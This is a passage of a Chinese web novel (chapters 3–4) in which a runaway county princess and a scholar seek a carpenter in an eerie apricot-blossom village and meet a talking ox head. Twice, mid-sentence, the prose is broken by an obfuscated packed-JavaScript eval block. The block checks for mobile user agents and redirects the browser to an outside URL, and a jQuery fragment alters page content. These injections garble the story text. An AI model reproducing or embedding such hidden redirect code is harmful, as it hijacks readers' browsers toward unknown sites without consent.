《错把宿敌当保镖后》 3. 破烂的车 这当然不是。 起码,在他从金毛龟那拿到定金,去东市将它买来之时,这马车还是一辆“沧海遗珠”。 虽外表看似普通简陋,实则结实耐用,甚至,正是因为这副不起眼的皮囊,才在车行里躺了许久,以至于价格一降再降,故而十分价廉。 “妥妥的沧海遗珠啊郎君!” 这是东市车行伙计说的原话。 颜玉光当时就觉得这种话术很是离谱。 但,他自跟着师父游历四方,便未曾拿过家中月例,一路都是节省用度,他买完书后,身上也确实只剩下那些点银钱。 且,要顺利返回神都,他必须要有一辆车,用来装他的书。 …和那位要去神都的客人。 故,颜玉光二话不说,当即就把这沧海遗珠拿下了。 在出发前,他还特意绕着马车转了几圈,反复检查过,确认没问题,这才放心地套上那匹买马车送来的老马,在歪脖子树下接到小恶女后,踏上回神都的路。 却不曾想,竟会是这般出师未捷。 李婴姿看着那滚落到路边的木轮,再看向那已然断裂开来的车缘。 心里也只浮现出四个大字—— 出师未捷。 她眨巴着眼,一时不知道该怨自己因与小童斗气而胡乱加速,还是要继续怨这马车脆弱不堪, 亦或是再往前追溯,怒骂那因下牛犊而随意转单的金毛龟。 最后,她的目光落在从包袱里被抖落出来的那本小册子上。 今天她逃家,是算准了阿耶不在王府的机会。 可现在…… 李婴姿抬起头,看向前方。 太阳已爬升,青青的水田也被铺上了一层金色的光晕。 她咬了咬唇,也不知道那赵德福是否第一时间传信给阿耶,若是阿耶已得信,那此刻说不定已经在回府的路上了。 要是他亲自派人来寻,她肯定一下就被抓回去的。 所以,目前最要紧的,还是要先离开这地方。 最终,她抬眼,看向那正认真看向车轮的小白脸,他蹙着眉,看起来很是认真,就像是已经在整理思绪,马上就能解决。 李婴姿心里蓦地升起一丝希望,抿了抿唇,开口:“你…可会修车?” 应该会的罢?不然架这样的破车,他是怎么敢上路的? 修车。 颜玉光闻言,再次扫了眼车轮的断裂处。 当时他将那匹“沧海遗珠”买回来后,为了以防万一,还特意去书铺买了几本关于修车的书籍。 那几本书此刻正躺在车厢里,只是他还没来得及翻开第一页。 他并不会。 “你会不会啊?”李婴姿催促。 少年抬眼,看向那个正趴在车窗处垂着头看他的小恶女。 恶女眉头紧蹙,小脸皱成一团,眼中布满了紧张与迷茫,还有一丝隐藏至深的期盼。 但更多的还是嫌弃。 最终,颜玉光斟酌了下用词,翘唇动乐东,摇头:“还未曾学会。” 李婴姿:“……” 未曾学会,那不就是不会?! 不会就说不会,犹豫这么久作什么! 她嫌弃地瞪了这穷酸贪财又无用的弱鸡小白脸一眼。 弱鸡小白脸:“……” 他绷紧下颌,也别过头去。 沉默莫名笼罩住这方寸之间。 片刻后,一阵晨风吹过,乡道树叶飒飒响。 随风而来的,还有那股熟悉的、奇怪的…牛味。 李婴姿耸耸鼻尖,双眼蓦地一亮。 对了,那几个小牧童。 她连忙将头探出车窗,与早已侧首远眺的少年一起,朝那乡道的那头望去。 晨光里,几头水牛正慢悠悠地朝这边走来。 小牧童坐在牛背上,甩着柳枝,一见到她,几个小童便齐齐朝她望来,然后…笑作一团。 李县主:“……” 这可恶的小童! 她鼓了鼓脸,狠狠地哼了一声,扭过头去,只拿后脑勺对着他们。 “郎君郎君,可要修车?”车外,牧童的声音响起。 “请问小童,这附近有修车之处?”弱鸡小白脸问道。 “有有。”牧童应道。 李婴姿的耳朵动了动。 她悄悄地用余光往后瞥去,说话的是方才对她挤眉弄眼的顽童。 他伸出一根手指,往另一边指去:“那儿,杏花村中有木匠,技艺了得,可修车。” 李婴姿顺着他的方向望去。 乡道的另一边,果然有一个小村落。村子不大,被一圈杏花树围着,炊烟袅袅,从屋顶升起,被晨风吹散,融入杏花云里。 “别去别去,郎君回长安城买去罢。”另一道童声响起。 李婴姿回头,原是坐着左侧的小童,他正皱巴着小脸摇头劝道。 最右侧的小童也点头附和:“对对,别去。” “为何不能去?”李婴姿开口。 中间的嚣张小童笑嘻嘻开口:“因为有牛。” 右侧小童点头:“对对,有牛。” 左侧小童依然劝着:“有牛,别去。” 李婴姿上下看了他们身下水牛一眼,蹙眉:“你们坐着的不也是牛么?” 三个小童一听,对视片刻,异口同声吱吱喳喳起来: “不同不同。”“我这是阿耶的牛。”“对,阿耶的牛。” 李婴姿皱了皱鼻子:“小小牧童,竟也学着净说些故弄玄虚的话。” “不是胡说。”小童们说着,又互相点头,三张小脸绷得紧紧的:“阿耶说了不能去。”“不能去。” 竟也不再多言,赶着牛拐了个弯,径直下了水田。继续笑闹去了。 李婴姿眨眨眼,朝他们喊道:“喂!无礼的小童!话还没说完呢,你们去哪儿?” 可那几个小童只朝她挥了挥柳枝,嘻嘻哈哈地笑着,并不应声。 颜玉光收回视线,看向那个趴在车窗上的李婴姿。 见他看来,那小恶女眉头紧蹙着质问:“你还站在此处作甚?还不去找那木匠过来。” 颜玉光眉头微蹙,可未等他回应。 那恶女又立马摇头:“不成,我和你同去。” “同去?”颜玉光蹙起眉头,重复了一遍。 只见小恶女一脸理所当然地点了点头,随后就缩回了车厢里。 马车轻轻晃了晃,片刻后,她抱着那个鼓鼓囊囊的包袱从车厢里一跃而下,稳稳地落在地上。 “我自然和你一起去。”李婴姿也重复了一遍,将包袱稳妥背好。 开什么玩笑,她一个人待在这儿?那不是等着被阿耶活捉吗? 颜玉光沉默了下,目光往车上扫了圈,“你跟我去,那马车该如何?” 李婴姿回头看了眼马车:“让老马看着便是,这荒郊野岭,谁会来把一车书扛走。” 说罢,便不再理会这小白脸,径直走到老马跟前,轻拍了拍它的脑袋,认真画饼道:“你好好呆在此处,待本县主带人来将车修好,便请你到馆驿□□粮。” 那老马歪了歪头,也昂首嘶鸣了一声。 颜玉光立在一旁,看着那一人一马—— 少女仰着头,老马低着头,两双眼睛对视着,那表情竟出奇地相似,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374816|200039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透着一股子“你不要骗我”的狐疑。 片刻后,双方似乎都确认了眼神,达成共识,才一同扭头看他。 身为人类的小恶女出声,还是那般趾高气扬:“你还站着作甚?还不赶紧将缰绳系好,若是耽误行程,小心扣掉你的酬劳。” 颜玉光:“……” 这嚣张跋扈的恶女,给他等着。 水田的那边。 那三个小牧童远远地望着。 晨光里,那一修长一娇小的两道身影,一前一后,跨过田埂,踩过青草,渐渐走近那条通往小村的道路。 “他们还是要进村哩。”左侧的小童摇了摇头,。 “牛又要来啦。”中间的小童甩着柳枝,笑嘻嘻。 “进村了吗?到了吗?”右侧的小童捂住了眼睛,却又从指缝里偷偷往外看,小声问道。 “快到了。”左侧小童点头。 “不对不对,已经到了。”中间小童摇头。 “就是这儿?方才那小童所指的杏花村。” 李婴姿站在村口,仰头看着立在杏树下的那块木匾。 颜玉光目光扫过,点头:“是此处。” 李婴姿也点头,攥紧包袱带子,大步往村里走,“那便寻个村民问一嘴,看看那木匠家在哪儿。” 速战速决,尽快找到人,尽快修好车,尽快离开西京。 村子并不冷清,两人未走几步,就遇见几名少女从里头走出,她们有说有笑,手里挎着篮子,看样子是要去田间采摘什么。 李婴姿双眼一亮,上前几步,朝几人招手,“诶姑娘——” 话音未落,那几个少女却径直从她身边走过,连眼尾都未曾扫过她一眼,仿佛她只是一团空气。 李婴姿的手停在半空中,脸上的笑容僵住了。 她慢慢地、慢慢地把手放下来,回头看向那几个少女的背影。 她们依然有说有笑,走远了。 李婴姿眨眨眼:……? 下一瞬,她似是反应过来,偷瞥了眼跟在身后的少年,见他脸上还是那副温和的表情,没有讥笑的痕迹,这才悄悄松了口气,继续大步往前走去。 “想必我声音太小,她们未曾听见。”想了想,李县主又补了一嘴。 “如此,那县主这次大声一点。”身后少年轻声开口,语气平淡。 李婴姿蹙眉,回头瞪他,却又见几人从村外走来。 这次是几个村民打扮的男子,看样子是刚从田里干活回来的。他们有说有笑,声音粗犷,谈论着今年的收成和谁家新娶的媳妇。 可还未等她开口询问,那几人便径直从他们两侧掠过,有说有笑,渐行渐远。 几人的目光,始终没有落在他们身上,仿佛他们只是路边的两棵树、两块石头。 李婴姿转身,目光跟随着那群村民的背影,看着他们进了村,这下是真真切切地疑惑了。 她张了张嘴,不可思议:“这些人,难道是见不到我们不成?” “似乎是。”颜玉光的声音轻轻响起。 李婴姿回头,与颜玉光那恰好垂下的桃花眼对上。 四目在空中一碰。 少年的眼睛很黑,里头像是藏着什么。 他很快收回视线,抬眼看向前方,声音很轻:“他们……确实未曾看到我们。” 晨风一吹。 飘飘洒洒的杏花吹拂,落在李婴姿颈侧。 她被花瓣凉得一激灵,跟着颜玉光的目光,看向前方—— 那几个村民一路直入,在村头停下,与旁边一户人家似乎招呼着什么。 说笑声隐约传来,喧闹又遥远,像是隔着一层杏花雨。 4. 杏花村 可是,这怎么可能呢? 李婴姿垂下眼,看了看自己身上的圆领袍。 这是她昨日出现前特意换上的,上好的蜀锦,金线绣成的纹样,配上她的蝴蝶金簪,整个人光彩夺目。 她这一身行头,别说在这乡野之间,便是搁在长安城,也是顶顶引人注目的。 况且—— 她眼睫颤了颤,目光悄悄往地上瞥去。 晨光从东边斜照过来,将她的影子拉长,影子的边缘有些模糊,和那小白脸的影子重叠在一起。 她有影子的。 方才路过的那几个村民,也有。 可是… 李婴姿又偷偷往后瞥了一眼。 小白脸也说,村民不曾见到他们。 少年就站在她身后半步的位置,逆着光,面容笼在一层淡淡的光晕里,正目光遥遥地望着村子的方向,似乎在认真思索着什么。 “我记得书中曾记载。”颜玉光忽然开口,声音不高不低,像是说给她听,又像是在自言自语。 “记载什么?”李婴姿眨眨眼,顺势回头。 “世间有一幻影之境,名唤鬼打墙,亦有人称之为浮生隙。”少年声线平淡,如背书般缓缓道来。 “便是在清明前后,寒食之日,门关大开之时,一些执念未消的逝者,偶尔会回返生前眷恋之地,重现昔日景象,受用些虚无的香火,了却未尽之念。” 他顿了顿,声音压低了点:“此时,活人若误入其中,便会被迷了眼、蒙了心,再也出不来了。” “鬼打墙?”李婴姿重复了一遍这三个字,抬眼往村中看去—— 那几个村民已经聊完了,互相挥手告别,各自往家里走去。 一女子与村民擦肩而过,来至西边屋墙坐下,低头打起了络子、 片刻后,有户人家的门开了,一个妇人端着一盆水走出来,泼在门前的泥地上,水花溅起。她低头看了看,又侧首,与那坐着打络子的女子说了句什么,两人嘻嘻哈哈笑了起来。 村子热闹得很,人声笑语,烟火气十足。 可是—— 没有一个人往他们这边望来。 颜玉光立在李婴姿身旁,微微垂眸,目光落在少女那鼓鼓的小脸上。 小恶女的脸皱成一团,眉头紧紧蹙着,嘴唇抿成一条线,全然不似方才在马车上那嚣张跋扈的模样。 此刻她的脸上,明明白白写着两个字—— 紧张。 少年挑了挑眉,嘴角微微翘起,又很快压了下去。 他清了清嗓子,侧开挡着晨风的身体,看到晨风吹动她颈后碎发,才继续开口,声音压得更低了些: “听闻,曾有一壮汉,名唤王生,上山砍柴时误入一处山谷。谷中繁花似锦,楼阁重重,有美人邀他饮酒作乐。他在那里住了三日,三日之后又三日。后来,有一游方道士路过,他才得以从幻境离开。” “可待他出来后,才知世上已过数十年,妻子早已改嫁,父母早已入土。” 他顿了顿,目光若有若无地扫过咬紧唇瓣的少女。 她的眼睫似乎颤得更厉害了。 颜玉光直起身子,此时才觉心中郁气消散了些。 待看够她紧张惊疑的表情后,他轻声开口:“县主,可要去?” 少年声音轻飘飘,混入村中传来的喧闹声中,让李婴姿觉得脖颈有些发凉。 鬼打墙,寒食日…不就是今天吗? 她深吸一口气,转头看向身后小白脸,正要开口让他自己进村,她在外头树上等她。 她甚至连哪棵树都想好了——马车旁那棵树,枝干粗壮,爬上去应当稳当。 可不料,却撞上他看来的目光。 四目相对。 李婴姿顿时挺直了背:“当然要去。” 她下巴微微昂起,下巴尖儿绷得紧紧的,“我堂堂岐王府小县主,李唐血脉,太宗子孙,此等小事,有何可惧,志怪之说,皆为虚构,吓唬人罢了。” 颜玉光扬眉,没有接话。 “倒是你。” 李婴姿拽紧包袱带子,咬了咬唇,嫌弃地瞪了他一眼:“圣人言,子不语乱力怪神。枉你还是个读圣贤书的,竟如此胆小畏缩,瞻前顾后。” 少年嘴角瞬间被抚平:“……” 他眯了眯眼,目光沉沉地看向少女小步往前的背影,无声地哼笑了声。 李婴姿磨磨唧唧往前走着,巴不得一步分成两步走。 直到余光瞥见修长的影子缓缓追上自己,一寸一寸地靠近,将她盖住。 她这才悄悄舒了口气,紧绷的肩膀微微松了下来。 “你们是谁?” 一道苍老又沙哑的声音蓦地从一旁传来。 李婴姿一激灵,下意识往后退了半步。 脚跟刚碰到身后少年的靴尖,触到那一点实感,她又像是被烫到了似的,立刻往前迈了半步,站稳了,才往一旁望去。 只见一个佝偻着腰的老汉,担着两箩筐青草,从路边的阴影里慢慢走出来。 他半耷拉着头,浑浊的眼珠微微眯起,上下打量着他们,“外乡人?” “对,我们路过,来找人。”李婴姿点头。 老汉视线在二人身上转悠了一圈,“找谁?” 李婴姿被老汉看得心下不舒服,飞快地瞥了颜玉光一眼,用眼神示意他上前说话。 这小白脸怎么回事?连王府里那些最木讷的门客都不如,半点眼力见儿都没有。 颜玉光被她这一瞪,又抿紧了唇,到底还是上前一步,拱了拱手: “老人家,我们的马车在路上磕坏了,经牧童指点,说村中有一位能人木匠,能修车。不知他家所在……” “木匠……”老人眯起眼睛,浑浊的眼珠转了转,像是在努力回忆什么。 好半晌,他才恍然大悟似的点了点头,“牛二啊。” 他朝另一边努了努嘴,下巴点了点:“家在那边。” 李婴姿顺着他的方向扭头望去—— 临近山坡上,孤零零地立着一家砖瓦房,与村中其他房屋隔了一段距离。 门前竖着许多木制品,横七竖八地堆着,而屋门却紧紧闭着。 “他不在?”李婴姿问。 “今日谁都不在。”老人笑了一声,那笑声很短,“这两天清明寒食,有祖先拜祖先,没祖先拜鬼神,谁会在呢?” 他停顿了会,又补了一句,“你们自己找他去罢。” 老汉说完,也不等他们再问,便担着箩筐转身进了门。 木门“嘭”地一声合上,把木门上的灰都震下来一层。 李婴姿皱紧眉头,挥开灰尘,“诶,老丈,你话还没说完呢。” 那也好歹告诉木匠在何处祭祖啊。 她鼓了鼓脸,正打算上前拍门,手刚抬起来,却发现肩头被人轻轻点了两下。 李婴姿回头,只见那小白脸朝旁示意,压低声音:“县主,看。” 说实话,李婴姿不太想看。 但这个小白脸也不知道怎么回事,见她没动,又马上伸出手指来点了点。 李婴姿:“……” 她梗着脖子,一脸痛苦地往那边瞥去。 那些村民还是如同方才,有说有笑的,该做什么做什么。 那个泼水的妇人正在跟打络子的女子说着什么,笑得前仰后合。 方才老汉关门声那般大,他们似乎都没有听见一般。 李婴姿心下一抖,不对劲。 这个村子真的很不对劲。 她要速速寻了木匠,快些离开,早日抵达神都,寻阿兄。 “你还愣着做什么?”她看向一旁抱臂而立的小白脸,“快些找木匠修车,还要赶路呢,若是耽误行程,便扣你酬劳。” 颜玉光挑了挑眉,看着这个小恶女绷紧小脸,大步流星往前,逐渐又变成小跑地往那山坡上走去。 那背影又急又快,让他心生愉悦。 李婴姿提着裙摆,小跑着来到砖瓦房前,也不等那小白脸慢慢走来,抬手敲了几下。 笃、笃、笃。 指节叩在木门上,声音闷闷的。 没人应。 她又敲了几下,等了一会儿,还是没人应。 好像真的没人在家。 李婴姿蹙起眉,心里有些着急。 她靠近木门,踮起脚尖,凑近眼睛往门缝里望去。 门缝很窄,只透进去一线光。里头黑黢黢的,什么都看不清。但她隐约觉得,有个模糊的影子在移动。 有人在里头?木匠? 她又轻轻敲了敲门,这次声音放大了些:“有人在否?” 里头传来哒哒哒的声音,很轻,很有节奏,像是什么东西在敲木头。 真的有人! 李婴姿双眼一亮,手抵住门板一侧,打算试着推开一条缝隙,好把人喊出来。 然而,指尖刚碰到门板,却摸到一手水。 湿的。 她收回手,低头看了看——指尖上沾着一层薄薄的水渍,颜色有些发暗,似黄似绿,带着一股淡淡的、奇怪的味儿。 李县主的眉头立刻紧紧蹙了起来。 这是什么? 脏死了。 她嫌弃地打量着四周,目光从门板上移到墙上,又移到地上。 墙上爬满了青苔,湿漉漉的,门框上也有水渍,到处都感觉湿哒哒的。 这木匠,平日里不清扫的吗? 她的目光往上移,落在屋顶中间。 那里开着一个半扇的窗,方方正正的,大约是百姓平日用来通风的。窗子半开着,从下面隐约能看见里面的一角屋顶。 若是在那里喊上一嗓子,里面的人许是能听见? 她左右看了看,想找个垫脚的地方。 可墙上要么是青苔,要么是泥巴,滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374817|200039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不留手的,压根没有一处可以借力。门旁倒堆着木器,可倒是半成品,一踩就碎,而且也够不着窗户。 还有别的么? 李婴姿咬咬唇,目光缓缓扫过院子里每一寸地方,最后—— 落在刚走到树下,正往村中望去的颜玉光身上。 少年站在一株老槐树下,背着手,侧脸的线条在晨光下显得格外精致。 他望着村子的方向,不知在想什么,神情专注而沉静。 李婴姿眯了眯眼。 她怎么就把这个累赘给忘了呢? “喂。” 少年闻声回头,脸上带着恰到好处的疑惑:“县主?” 李婴姿下巴微昂,朝他招手:“你过来。” 颜玉光眉头微抬,踱步过来,在她面前站定:“县主有何吩咐?” 李婴姿往里头指了指,“我好像听见里面有动静,你爬上去,看看木匠是否在里头。” 可谁料,小白脸抬眼往洞窗看了眼,然后一脸为难:“县主,我未曾习武。” 李婴姿:“……” 这个书呆子,果真无用。 她伸出手指,往下压了压:“那你蹲下来,我踩着上去瞧瞧。” 颜玉光:“……?” 他愣了一瞬,似乎以为自己听错了,“什么?” 李婴姿往那洞窗看了眼,计算着距离,闻言又嫌弃地撇了他一眼,重复:“蹲下来,让我踩上去。” 颜玉光:“……” 他扫了眼她那双踩过泥泞的鹿靴,寻了个理由,淡淡有礼地婉拒:“县主,男女授受不亲。” 李婴姿:“……” 这个迂腐穷酸贪财无用的弱鸡小白脸。 她嫌弃地斜睨看他,纠正着:“我只是踩着你,又不是搂着你,哪来的授受不亲?” 颜玉光:“……” 他别开眼,目光落向远处,脖颈上的青筋隐隐跳动了一下。 片刻后,正欲开口,却又听小恶女说道:“枉你还是读书人,圣人便是让你们连这点小事都推三阻四的吗?” 读书人颜玉光:“……” 他沉默了很长时间。 那沉默里像是有什么东西在翻涌,又被强行压了下去。 半晌后,他走至门前,选了个相对干燥的位置,半屈身体,蹲了下来。 “快。”他说。 声音里已经没了方才那股温声细语,瓮声瓮气的,像是从牙缝里挤出来的。 李婴姿毫不在意。不紧不慢地走过去,一只手扶着他的肩膀,顺带偷偷在上头擦了擦手,把指尖上的水渍都蹭在他的衣袍上。 随后小心翼翼地踩上去,“你得稳着点,若是摔了县主,你可担待不起。” 颜玉光抿紧了唇,下颌的线条绷得死紧。 这恶女。 待她从肩上下来后,他一定要好好跟她清算那笔账。 这次,他不会与她慢慢玩了。 “不行,再站起来一点,”踩在他肩上的少女轻轻跺了一下脚,“不够高,我够不着窗户。” 颜玉光:“……” 他深吸一口气,直起身。 “都说稳一点,别晃,” 少女的声音从头顶传来,带着一丝紧张,“摔了县主可是要治罪的。” 颜玉光:“……” 他顶了顶后槽牙,稳住下盘,缓缓站直。 “不许抬头。”李婴姿咬唇,垂眼瞪了他一眼。 他何时抬头了? 颜玉光冷冷别开眼,目光落在地面上那一小片青苔上。 这恶女,真是如同当年一般,无理取闹。 “快些。”他冷冷催促。 李婴姿双手终于够到了窗沿,她扒住边缘,踮起脚尖,将眼睛凑近那半开的窗户,往里看去。 里面很暗,只有窗户这一线光照进去,照亮了一小块地方。 那光照见的是一面土墙,墙上挂着几件工具,影影绰绰的,看不真切。 黑暗中,似乎有什么东西在动。 李婴姿眯了眯眼,把眼睛凑得更近了些。 木匠果真在里头? 她张了张嘴,正要开口叫喊:“木——” 那东西忽然顿住了。 一动不动,像是察觉到了什么。 过了好一会儿,它才又有动静。 缓缓的,一点一点的,像是在刻意放慢动作。 最后,它转过了头。 李婴姿的双眼缓缓瞪大。 这下她看清了,这是一颗巨大的牛头,比寻常的牛头大了一圈不止,黑黢黢的轮廓在暗处浮动着。 怎么会是牛? 牛头朝她看来,嘴部开合了一下,一道沉闷的、带着非人嗡响的声音直直撞入李婴姿耳中: “你是谁?为何偷窥?” 李婴姿瞳孔一缩,整个人僵在了原地。 牛……怎么会说话?